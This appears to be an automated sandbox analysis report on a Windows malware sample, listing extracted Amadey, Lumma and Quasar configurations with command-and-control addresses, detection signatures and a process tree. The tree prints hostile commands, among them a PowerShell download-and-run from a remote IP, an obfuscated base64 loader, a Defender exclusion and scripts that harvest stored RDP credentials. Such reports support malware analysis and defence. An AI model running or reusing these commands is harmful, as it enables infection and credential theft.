Analysis
-
max time kernel
141s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20250314-en -
resource tags
-
submitted
02/04/2025, 02:11
General
-
Target
2025-04-02_5c152cd5558c761cb263d9ef46ff9818_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
-
Size
938KB
-
MD5
5c152cd5558c761cb263d9ef46ff9818
-
SHA1
ac9dbd972d7a4a9da79fd001d6cfa1e6cc0b2871
-
SHA256
2d020de9d1f69af03dbc414a5eabd258880bbc95b82a391b196a1306259d57a8
-
SHA512
e0637f0a38765af5e2747a58371414420e22478b5a8f4b0db3a56ebead0a8eb88b6e03e5671830d7bb85dea4469b0d7078712b672181111d1b96ce655d3ee98e
-
SSDEEP
24576:WqDEvCTbMWu7rQYlBQcBiT6rprG8a0vu:WTvC/MTQYxsWR7a0v
Malware Config
Extracted
http://176.113.115.7/mine/random.exe
Extracted
amadey
5.21
092155
http://176.113.115.6
-
install_dir
bb556cff4a
-
install_file
rapes.exe
-
strings_key
a131b127e996a898cd19ffb2d92e481b
-
url_paths
/Ni9kiput/index.php
Extracted
lumma
https://ironloxp.live/aksdd
https://metalsyo.digital/opsa
https://anavstarx.shop/FoaJSi
https://starcloc.bet/GOksAo
https://advennture.top/GKsiio
https://targett.top/dsANGt
https://spacedbv.world/EKdlsk
https://galxnetb.today/GsuIAo
https://rodformi.run/aUosoz
https://6jmetalsyo.digital/opsa
https://navstarx.shop/FoaJSi
https://qspacedbv.world/EKdlsk
https://hadvennture.top/GKsiio
Extracted
quasar
1.5.0
Office04
goku92ad.zapto.org:5000
a0766e5c-a1d1-4766-a1f5-4e4f9f9fe35a
-
encryption_key
BF72099FDBC6B48816529089CF1CF2CF86357D14
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Modded Client Startup
-
subdirectory
SubDir
Signatures
-
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
-
Amadey family
-
Detects Healer an antivirus disabler dropper 3 IoCs
-
GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
-
Gcleaner family
-
Healer
Healer an antivirus disabler dropper.
-
Healer family
-
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
-
Lumma family
-
Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
-
Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
-
Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
-
Modifies Windows Defender notification settings 3 TTPs 2 IoCs
-
Modifies security service 2 TTPs 2 IoCs
-
Quasar RAT
Quasar is an open source Remote Access Tool.
-
Quasar family
-
Quasar payload 2 IoCs
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 13 IoCs
-
Blocklisted process makes network request 4 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 17 IoCs
Using powershell.exe command.
-
Creates new service(s) 2 TTPs
-
Downloads MZ/PE file 25 IoCs
-
Drops file in Drivers directory 3 IoCs
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
Possible privilege escalation attempt 2 IoCs
-
Sets service image path in registry 2 TTPs 7 IoCs
-
Stops running service(s) 4 TTPs
-
Uses browser remote debugging 2 TTPs 11 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
-
Checks BIOS information in registry 2 TTPs 28 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 9 IoCs
Looks up country code configured in the registry, likely geofence.
-
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
-
Deletes itself 1 IoCs
-
Drops startup file 4 IoCs
-
Executes dropped EXE 40 IoCs
-
Identifies Wine through registry keys 2 TTPs 13 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
-
Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs
-
Loads dropped DLL 36 IoCs
-
Modifies file permissions 1 TTPs 2 IoCs
-
Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Windows security modification 2 TTPs 2 IoCs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 7 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates connected drives 3 TTPs 3 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
-
AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
-
Enumerates processes with tasklist 1 TTPs 39 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs
-
Suspicious use of SetThreadContext 10 IoCs
-
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 14 IoCs
-
Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
-
Launches sc.exe 38 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 5 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
Program crash 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Checks processor information in registry 2 TTPs 26 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Delays execution with timeout.exe 1 IoCs
-
Enumerates system info in registry 2 TTPs 6 IoCs
-
Kills process with taskkill 64 IoCs
-
Modifies data under HKEY_USERS 2 IoCs
-
Modifies registry class 4 IoCs
-
NTFS ADS 2 IoCs
-
Runs net.exe
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: LoadsDriver 7 IoCs
-
Suspicious behavior: MapViewOfSection 5 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 37 IoCs
-
Suspicious use of SendNotifyMessage 29 IoCs
-
Suspicious use of SetWindowsHookEx 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\SysWOW64\fontdrvhost.exe"C:\Windows\System32\fontdrvhost.exe"2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\2025-04-02_5c152cd5558c761cb263d9ef46ff9818_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"C:\Users\Admin\AppData\Local\Temp\2025-04-02_5c152cd5558c761cb263d9ef46ff9818_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn XnKxrmaq6WJ /tr "mshta C:\Users\Admin\AppData\Local\Temp\uacVjZpwI.hta" /sc minute /mo 25 /ru "Admin" /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn XnKxrmaq6WJ /tr "mshta C:\Users\Admin\AppData\Local\Temp\uacVjZpwI.hta" /sc minute /mo 25 /ru "Admin" /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\mshta.exemshta C:\Users\Admin\AppData\Local\Temp\uacVjZpwI.hta2⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'7OU4YL3UJNW2FBCOUY4G4EBNGOLVVPXP.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp7OU4YL3UJNW2FBCOUY4G4EBNGOLVVPXP.EXE"C:\Users\Admin\AppData\Local\Temp7OU4YL3UJNW2FBCOUY4G4EBNGOLVVPXP.EXE"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Downloads MZ/PE file
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\10408830101\YGYZCmt.exe"C:\Users\Admin\AppData\Local\Temp\10408830101\YGYZCmt.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10409161121\5ym0ZYg.cmd"6⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10409161121\5ym0ZYg.cmd"7⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"8⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\'9⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10411030101\captcha.exe"C:\Users\Admin\AppData\Local\Temp\10411030101\captcha.exe"6⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd.exe" /c "dxdiag /t > \"C:\Users\Admin\AppData\Local\Temp\dxdiag_temp_2227159339.txt\""7⤵
- NTFS ADS
-
-
C:\Windows\system32\net.exe"net" statistics workstation7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 statistics workstation8⤵
-
-
-
C:\Windows\system32\vaultcmd.exe"vaultcmd" /list7⤵
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist" /FO CSV /NH7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmdkey.exe"cmdkey" /list7⤵
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command " $entries = cmdkey /list | Select-String \"TERMSRV\" -Context 0,3 foreach ($entry in $entries) { $target = ($entry -split \"target=\")[1].Trim() $ip = $target -replace \"TERMSRV/\", \"\" $userLine = $entry.Context.PostContext | Select-String \"User\" $user = if ($userLine) { ($userLine -split \":\")[1].Trim() } else { \"N/A\" } Write-Output \"Server: $ip | Username: $user\" } "7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmdkey.exe"C:\Windows\system32\cmdkey.exe" /list8⤵
-
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\certutil.exe"certutil" -store My7⤵
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\certutil.exe"certutil" -store -user My7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-VpnConnection | ConvertTo-Json"7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command " $regPath = \"HKCU:\Software\Microsoft\Terminal Server Client\Servers\" if (Test-Path $regPath) { Get-ChildItem $regPath | ForEach-Object { $server = $_.PSChildName $usernamePath = Join-Path $_.PSPath \"UsernameHint\" $username = if (Test-Path $usernamePath) { (Get-ItemProperty -Path $usernamePath -Name \"(default)\" -ErrorAction SilentlyContinue).\"(default)\" } else { \"\" } Write-Output \"Server:$server,Username:$username\" } } "7⤵
- Command and Scripting Interpreter: PowerShell
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmdkey.exe"cmdkey" /list7⤵
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmdkey.exe"cmdkey" /list:TERMSRV/69.48.201.747⤵
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM chrome.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM msedge.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM chrome.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM brave.exe7⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM Discord.exe7⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM opera.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM DiscordCanary.exe7⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM vivaldi.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM DiscordPTB.exe7⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM firefox.exe7⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM DiscordDevelopment.exe7⤵
- Kills process with taskkill
